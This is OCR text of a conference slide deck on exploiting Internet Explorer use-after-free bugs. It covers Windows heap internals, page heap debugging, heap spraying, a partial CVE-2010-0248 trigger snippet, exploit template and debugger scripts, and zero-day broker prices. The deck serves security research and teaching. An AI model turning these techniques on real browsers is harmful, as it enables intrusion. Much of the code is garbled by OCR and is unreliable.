Exploitation of

Via Memory corruption

Microsoft Internet Explorer |

Microsoft Internet Explorer haz encountered a problem
and needs to close. We are sony for the inconvemence.

If wou were in the middle of something, the information wou were working on
might be lozt.

[+ Bestart Microzaft Internet Explarer

Pleasze tell Microzoft about thiz problem.

“We have created an error repart that you can zend to help ug improve
Microzoft Internet Explorer. ‘We will treat thiz report az confidential and
ANanymousE.

To zee what data thiz ermar report containz, click here.

Send Errar Report
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A little about me

A Senior Vulnerability Researcher in COSEINC
A Mobile developer
A Hacker
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Why via Memory corruption?

A it is unlikely that one will find a stack based overflow in the
last editions of IE

A If | am not mistaken, No stack based overflow was found in |E
In the last 2 years
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So what Microsoft fix in patch Tuesday ?

Pateh ., ciave
Tuesday

Windows'

Internet .
@ Explorer 7 5 U 5

.' Mic oot“m.f--'J
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Microsoft Internet Explorer Multiple Vulnérabilités

2012-04-10

A 1) An unspecified error in the Print feature can be exploited by tricking
a user into printing a specially crafted HTML page.

A 2) An error in JScript9 when accessing an already deleted object can be
exploited to corrupt memaory.

A 3) A use-after-free error in the handling of the "innerHTML" property
during an "onReadyStateChange" event may result in accessing an
already deleted object.

A 4) A use-after-free error in the handling of the "select All()" function can
be exploited to dereference already freed memory.

A 5) A use-after-free error in the handling of CTagFactory objects can be
exploited to dereference already freed memory.
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Memory corruption bugs

Bugs in any kind of program can be divided into two categories

X Bugs which cause visibly incorrect behavior as soon as the
Incorrect code Executes

X bugs which corrupt state (variable values, data
structures, files, etc.) such that correct code behaves incorrectly
later on.

U Bugs in the former category are usually easy to find and
fix, since you can simply trace the execution of the code up to the
point of the incorrect behavior and see which piece of code failed.

Bugs in the second category are often much harder to find, since
there is no simple way of determining where the state of the
Drogram was corrupted.
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Why to hunt Memory corruption bugs?

U Fame (@ Microsoft patch Tuesday )
U Hack systems

U For the money

U Challenge /fun
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A'll Bout The Money

's all 'bout the dun dun du du du dum

A Adobe JBIG2 exploit was sold for $75k
A $75K = ~ $512K CNY
AWoul d you fAdo the right thi

Ado t he wr onRbgeatsbalaryyg o f or 5
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ADOBE READER

MAC OSX

ANDROID

FLASH OR JAVA BROWSER PLUG-INS
MICROSOFT WORD

WINDOWS

FIREFOX OR SAFARI

CHROME OR INTERNET EXPLORER
|0S

Rough price list for zero-day exploits

$5,000-$30,000
$20,000-$50,000
$30,000-$60,000
$40,000-$100,000
$50,000-$100,000
$60,000-$120,000
$60,000-$150,000
$80,000-$200,000
$100,000-$250,000
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ODAY Broker
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How to hunt for Memory corruption?

.  Fuzzing
ii. Binary auditing
iii. Surfing the web
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Binary auditing
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Fuzz Fuzz Fuzz

Google and Microsoft Clash Over IE Fuzzer Release

Tuesday, January 04, 2011

Contributed By: Did a Google staff researcher jurmp the gun by releasing a tool that

Headlines identifies dozens of exploitable bugs in Internet Explorer before critical
patches were available, or did Microsoft drop the ball back in July by not
addressing the problems when first presented to them?

Hmn‘ﬁl A cyber-drama is playing out surrounding Michal Zalewski's release of his

Internet Explorer fuzzing tool dubhed "cross fuzz".
| NEWS H d -

The tool has been used to identify multiple vulnerabilities in the Microsoft
browser, and could be used to aid in the creation of malicious exploits.

I am hapoy to annownce the avallzbilfy of cross_fUzz — an amazingly effective but
hotoriously annoying cross-document DOM [Document Obiect Modell binding fuzzer that
helped identify abowt one hundred bugs In il browsers on the market — many of sald bugs
expioifabie, * Zalewski wrote in his blog.

Zalewski claims to have presented the tool to Microsoft early last summer and that he
received no response from therm until just days before the tool was set to be released.
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Programmer bug is hacker gold

A\

=1 stackoverflow
Search Results relevance | newest  wotes  active

ie crash

search

WWant better search results? See our search tips!

11

wotes

405 views

Why does this HTML crash IE?

... ' have a page that causes IE 5 to crash. Ive ... fjavascript that causes the crash. | know I'm going to have
... how |want in IE without breaking it. |s anyone aware of a way that | can report this to the IE team to get it
fixed? The crash happens when you

javascript| html| internet—explorer| internet—explorer—8| crash| asked Now 22 "11 at 18:18
whrady
866 1913

74 views

Debugging an IE crash

.. | have a web application that is warking perfectly in Chrome and FireFox, yet is crashing in IE. Maote, this is
naot & JavaScript errar, but rather . reduced the code as posted below. This will crash . html= <heads>
<title=1E

javascript| intemet—E}{pIDrer| prototype | asked Apr9 at 22:30
0 Aaron J Spetner

o L 420 =9

2

wotes

IE 9 Form Submit Crash

... to crash Internet Explorer 9 with a message like ... this. Le., is there 3 good or ‘normal’ way
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e ____________________________________________________
Why does this HTML crash IE?

A

11
v

1

| have a page that causes IE 8 to crash. I've dumbed it all the way down to just the htrljavascript that
causes the crash. | know I'm going to have to do something different for displaying the page how | want in
IE without breaking it. 1s amyone aware of 2 way that | can report this to the IE team to get it fixed?

The crash happens when you mouse over the span. Create a scratch html file to test. Using jsfiddle
doesn't crash it.

Update: Make sure |E isn't in compatibility mode to get it to crash. Update2: It crashes in safe mode too,
500t isn't an add-on causing the problem. | have tried it on multiple computers.

¢!DOCTYPE html PUBLIC "-//W3C//DTD XHTHL 1.8 Strict//EN" “http:/ www.w3.org/TR/xht
<html>
<head:
<titlerteste/titles
(style type="text/css™>
.condPartHover

{
border-color: #800000;
background-color: #ESFOF9;
color: #1D5987;
}
¢« /stvle>

I.®
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BUT.... HOW we exploit ??

A How we exploit Memory corruption ?

We will focus on use after free
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Exploitation of Use After Free

A Referencingnemory after it has been freed
can cause a program to crash, use
unexpected values, or execute cade

,.:Mﬂ”,"w
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Memory corruption in the heap

What Is a Heap?

A heap is a form of memory manager that an application can use when it needs to allo-
cate and free memory dynamically. Common situations that call for the use of a heap
are when the size of the memory needed is not known ahead of time and the size of
the memory is too large to neatly fit on the stack (automatic memory). Even though
the heap is the most common facility to accommodate dynamic memory allocations,
there are a number of other ways for applications to request memory from Windows,
Memory can be requested from the C runtime, the virtual memory manager, and
even from other forms of private memory managers. Although the different memory
managers can be treated as individual entities, internally, they are tightly connected.

l. ®
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Windows heap manager

Application
Default C Runtime Appllca.t.lon
Process Heap Specific
Heap Heaps
Y Y Y
[NTDLL] Heap Manager
Y l Y

Virtual Memory Manager
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Front/back end allocator

Front End Allocator

Look Aside Table
0] — unused
1 —> 16
2 — 24
3 —» 32
127 —» 1024

Back End Allocator
Free Lists Segment List
0 — Variable size Segment 1 | |
1 —> unused Segment 2 | |
2 — 16 e
3 —24 Segment x | |
127 —» 1016
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Heap Allocation API

malloc
new operator
LocalAlloc
HeapAlloc
VirtualAlloc
GlobalAlloc
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Why have freed object in memory what Is

next ?

Exploit Use after free in 3 steps
1) What is the size of the freed object ?
2) Spray the heap and fill the freed object
3) Trigger the object =code execution
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Step 1

Free Object in memor

‘ class C /f C4++ OBIECT Size of object IZLE bytes
1

public:

virtual weid func()

1

printf{"OK");

DWORD x1,x2,x3,xd;

13

C *p=new C{);
printf("size of class C %@8X\n",sizecf(C));

delete p;
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Step 2

Spray and Fill the free object with 0x41

for (1nt 1=8; 1<1888; 1++){

char *buf=(char*)malloc{sizect(C));
memset(buf,dx41,s1zect(());

h
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Step 3
er the object

5 v IX Qutput

= 00346498 EBX = 7FFODARA ECX = BR346d9 A8 Show autput ram: Debug . 1} | :JJ _1}| = | £

= 41414141 E5I = B@12FESC EOI = BRL2FFES
gudl14EC ESP = @R12FESC EBP = B@L2FFG8

= (0Raa246

First-chance exception at @x@@411dec in UsehfterFree.exe: Bx(00000E5: Access violation readl
location @xd1414141,
Unhandled exception at @x@8411dec in UsehfterFree.exe: Bx(008AAAS: Access violation reading
location @udl1414141,

{ rq .
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CVE-2010-0248

Free object

var TableClone = document.getElementEByIdf ' tcableid' y.clonelode{ 1) ;
var TableCelllUrns = TableClone.cells.urns{'a'd:;
var hla = TableClone.cells.item{l)
var TableCellUrnsTags = TabhleCellUrns.tags)'a')»:
TahleClone.outerText = 'a';

Spray the freed Objectzeos(i = 0; i < mem.length: i++) |

mem[i] = mem[i] .classHName = obj one:;
£l
Re=zult = TableClone.cell=s:
Tr|gger/use Object Result = TableCelllUrnsTags.itemi{—-1):
“}

Sl aoript>

J<hody onLoad="window.=setTimeout{Start 1000} ;" id="bhodyid">
] <table id="tahleid":>

“trx<th id="thid">< /th>x</tr>

<tr id="trid":><td id="tdid"></td>oftr>
g “<Srabhlex
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Spray the Free Object (video)
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Code Execution Redirection(video)
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L KI @S

NULLREFERNENCE OR

ok s el ot k¢ [ R e L e TI ke et e I b Tk ki e b ek e

ModLoad: 7680000 76=B=000 C WIIHDOWS ayetend2vrtutils dll
ModLoad: 76b40000 76bed000  CAWINDOWS:\system3d2“WINMM. 4Ll

ModLoad: 77270000 77295000  CosWINDOWSwsystem32wmavl 0.d11
ModLoad: 76790000 7679c000  CoAWINDOWS-systemiscryptdll.dll
HodLoad: 76460000 76473000  C.~NINDOWS-systemd2siphlpapi.dll
ModLoad: 722B0000 722B5000  C~NINDOWS:-systemdsensapl.dll
ModLoad: 71a50000 71a8f000  C:»WIRDOWS-zystemiZmswzock.dll
ModLoad: 662B0000 66308000  C~NINDOWS:.zyztemd2shnetcfg. dll
ModLoad: 71290000 71a%8000  C:~WIKDOWS-System3dZwshtcpip.dll
ModLoad: 76£c0000 7efce000 O wWINDOWSzystemiZraszadhlp.dll
HodLoad: 71440000 7145b000  C.~WINDOWS-systemd-ACTEPREY . DLL
(fdz.ad0); Access wiolation - code c0000005 (111 second chance 1)
eax=fff0bdbf ebx=B0070005 ecx=0R572fd8 edx=63804598 e=i=058cafel edi=03ff£030

eip=00000000 esp=03ffefdd ebp=03ffef9c i1opl=0 nv up £1 hg nZ na po no
cz=001b =2=0023 d==0023 e==0023 f==003b g==0000 ef1=00000282
gooooono 27 7
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Tools/scripts

A Introduce few tools to help us with use after
free exploitation

A
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What is the object size?

A heap -p -a 014¢6fb0

Details of heap allocation containing address
014c6fb0 + call-stack if available
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Heap Spray via Debugger

MY BROWSER IS SLOW,

AN

HEAP SPRAY

e
Solid Security.Verified.




How did | Simulate allocation via debugger?

BES5FDACE ; long  stdcall CHistFolderEnum Createlnstance{unsigned long
AES5FDACE ?CHistFolderEnum CreateInstance@@YGJKPAUCHistFolder@EPAPAUIER
A85FD4CE ; CODE XREF: CHistFol
B85FDACE

BB85FDA4CB arg A = dword ptr 8

BB5FDACEB arg 4 dword ptr BCh

BASFDA4CEB arg 8B dword ptr 18h

A85FD4CE

BB5FDACE mou edi, edi

BB5FDACD push ebp

B85FDACE mouv ebp, esp

BO5FDA4D B push esi

BE5FDA4DA mou esi, [ebp+arg 8]

BASFDADY and dword ptr [esi], 8

BASFDAD Y push 238h dwBytes

8asFDuDC call PT20YAPAR TGS operator new{uint}
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How did | Simulate free via

:B06BACHS
:B06BACHS
:B06BACBA
:B06BAC B
:B86BACAD
:B86BACBE
:B86BAC11
:BB6BAC1Y
:B86BAC19
:BB6BACTA
:BB6BACTF
:BB6BAC28

:B86BACHS ; Attributes: bp-based frame
:B86BACHR
:@B6BACAS ; int  stdcall ExtMgr FreeCryptData{LPUOID lpHem, int)
:BB6BACAB TExtMgr FreeCryptDatal@E@YGHPAU _CRYPTOAPI_BLOBEREPAXEZ proc near
:B86BACHR
:B86BACBR
:B06BACHB 1pHem

; DATA XREF: CLegacyExtensionA

= dword ptr 8

mov
push
mov
push
mov
push
call
push
call
pop
pop

edi, edi

ebp

ebp, esp

esi

esi, [ebp+lpHem]

dword ptr [esi+d] ; void =

77 UGYAXPAREZ  ; operator delete[]{void =)
esi ; lpHem

77 3EYARPARES ; operator delete{void =)
BCX

BCX
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Application Verifier tool

A Page heap works on the basis of surrounding
the heap blocks with a protection layer that
serves to isolate the heap blocks from one
another.

A Page heap runs in two different modes:
normal page heap and full page heap
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Application Verifier Tool

S Application Yerifier 6.2 - |EI|£|

File Edit “iew Help

o £ To use AppYerifier select an application to tesk (Ckrl+4A), dick the checkboxes next to the tests, and execute the code. Seleck Wiew to see
= Mproperties and logs. To stop testing an application click Chrl4-0n, For more detailed information see the Help.

—&pplications —Tests

Imnage Mame [ Basics
=[] Compatibility

----- []Loww Resource Simulation

i [ ] LuaPriv
: [ Miscellaneous
[ JMTLM

; []Prinking

~ Properties
Marne | Tvpe | Value | Descripkion |
Propagate Boolean FALSE Propagate werifier settings From parent process ta child process. Maote that ...
AutoClr Boolean FALSE After specified image starts to run, the verified image wil clear the settings. ..
AutoDisableStop Boolean TRLUE Werifier will only complain once Far the same issue Found.
Logging'WwithLock, .. Boolean TRLE The dll lnadjunload event will be logaed. Yerifier is doing 10 when the load. ..
ExceptionCnstop  Boolean FaL3E For each werifier reporked stop, exception will be raised instead of debugb...
Minimumiemary, ., Boolean FaL3E Reduce memory overhead by disabling some of the Features used just For |,

COSEINC
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Normal Page Heap

A Uses fill patterns in an attempt to detect heap block
corruptions.

A The utilization of fill patterns requires that another
call be made to the heap manager post corruption so
that the heap manager has the chance to validate the
integrity

(check fill patterns) of the heap block and report any
Inconsistencies.

A Additionally, normal page heap keeps the stack trace
for all allocations, making it easier to understand who
allocated the memory.
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what a heap block looks like

when normal page heap is turned on.

Allocated Heap Block

Regular Heap Fill pattern: Pageheap Fill pattern: g:ftr;;";“lr IN‘? F;:T:rﬂl,l Heap
Entry Metadata ABCDAAAA Metadata DCBAAAAA E0 ADAOADAD Extra
8 bytes 32 bytes
Free Heap Block
Regular Heap Fill pattern: Pageheap Fill pattern: l;:;’;ﬁ““'b"f ﬁ:ftf:rﬂ" Heap
Entry Metadata ABCDAAAS Metadata DCBAAAAD Fo ADACAOAQ Extra
8 bytes 32 bytes
Pageheap Metadata

Heap Requested Ac_mal

- FreeQueue Trace Index StackTrace
size size

Normal page heap block layout

COSEINC
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_DPH_BLOCK_INFORMATION

itypedef struct DPH_BLOCK TNFORMATION
1
ULONG StartStamp;
PWOID Heap;
ULOMNG RequestedSize;
ULONG Actualsize;
| union
1
LIST _ENTRY Free(usues;
SIMNGLE LIST ENTRY FresPushList;
WORD TracelIndex;
¥s

| PvOID StackTrace;

ULONG EndStamp;
| 7 DPH_BLOCK_INFORMATION, *PDPH_BLOCK_ _TINFORMATION;
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Full Page Heap

A In addition to its own unique fill patterns, full

page heap adds the notion of a guard page to
each heap block.

A A guard page is a page of inaccessible memory
that is placed either at the start or at the end of a
heap block. Placing the guard page at the start of
the heap block protects against heap block under

runs, and placing it at the end protect against
heap overruns.
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what a heap block looks like

when full page heap is turned on.

Forward Overrun: Allocated Heap Block

Fillpattern: Pageheap Fill pattern: l;::f?;mx ?ﬂgﬁrﬁu Inaccessible
ABCDBEBBB Metadata DCEBABEBEB co DODODODO Page
32 bytes
Forward Overrun: Free Heap Block
) ) User accessible User accessible Suffix fill )
aapater | Pa%eN®& | part il patiem: | part il pattern: pattern: '““ﬁ'&'ﬁ‘““
FO FO DoDoDoDo
32 byles
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Why not always run with full page heap

enabled?

A full page heap is very resource intensive.

full page heap places one page of inaccessible
memory at the end (or beginning) of each
allocation. If the process you are debugging is
memory hungry, the usage of page heap
might increase the overall

memory consumption by an order of
magnitude.
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Scripter-> template generator for use after

free exploitation

/4 scripter.cpp : Defines the entry point for the console application.
I

#include "stdatx.h"

#include <windows.hx

FILE *g_scriptOutput=NULL;

Ichar* startTag()

1
static char start[]= "wn\n<htmlz\n<script:infunction Start() {“ninMath.acos(1);\n\nvoid(Math.atan2{@xbabe,
printf{start);
return start;
1
[char *endTag()
1
static char end[]= "“nYn}inin</scripts>inin”
"<body onLoad=\"window.setTimeout(5tart,1888);\" id=\"bodyid\">\n‘n\n</body></html>Yn\n";
printfiend);
return end;
1

[char *Injectlbject()
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Log allocation

$g1?cﬁlﬂldb==breakpnint is at the RET instruction of ntdl1!'Rt1allocateHeap.
.bhloc

ra$tl = ${%argll; $%allocation size

roE$t2=0;

printf "Logoing  calls to  Heapalloc(Ox¥x)",@$tl;.echo;

bu 7cololdb "r $t0=esp+0xc; . if (poi(@$t0) = @%tl) {r @$t2=8%t2+1l; .printf "+ [0x%x]

rtlallocateHeap hHEAP OxXx, ', @12, poic@eszp+d); . printf “'size: OxEx, N, poi(@$to);.printf
YUallocate chunk at Ox®xN", eax;.echo;In poi(@espl;.echor;g”

bu jscript!isatan "j C(poicpoiCesp+ld )4+18) == habe) '.printf “'DEBUG: muh',
poiCpoipoi(esp+ld J+8)+8); .echo; g';"

bu jscript!lsacos " .echo DEBUG: heapLib breakpoint”;
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Live Demo
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